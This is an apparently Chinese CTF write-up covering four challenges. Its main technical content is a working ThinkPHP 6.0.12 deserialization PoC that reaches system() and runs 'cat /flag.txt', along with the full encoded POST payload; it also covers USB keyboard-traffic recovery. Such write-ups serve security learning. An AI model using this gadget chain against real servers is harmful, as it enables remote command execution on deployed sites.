签到电台

公众号得到的提示，直接算模十

1	`7309 3949 3782 9809 3984 4348 9579`

抓包发包上面的数字（去掉空格）即可得到flag

（先发e启动，才能发）

问卷调查

写问卷得flag

Ezpop

Tp6.0.12反序列化漏洞

Poc

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

路由/index.php/index/test

http://eci-2zeiotg3hwi1wo25kpzg.cloudeci1.ichunqiu.com/index.php/index/test

1
2

POST:
a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

ez_usb

usb流量

发现有两个包，分别提取出来

(usb.data_len == 8) && (usb.src == “2.10.1”)

(usb.data_len == 8) && (usb.src == “2.8.1”)

2.8.1的包直接用键盘流量提取脚本即可

得到的内容去掉<CAP>之后，还要注意<DEL>，需要删除前一个字符，最终得到

526172211a0700cf907300000d00000000000000c4527424943500300000002a00000002b9f9b0530778b5541d33080020000000666c61672e747874b9ba013242f3afc000b092c229d6e994167c05a78708b271ffc042ae3d251e65536f9ada87c77406b67d0e6316684766a86e844dc81aa2c72c71348d10c43d7b00400700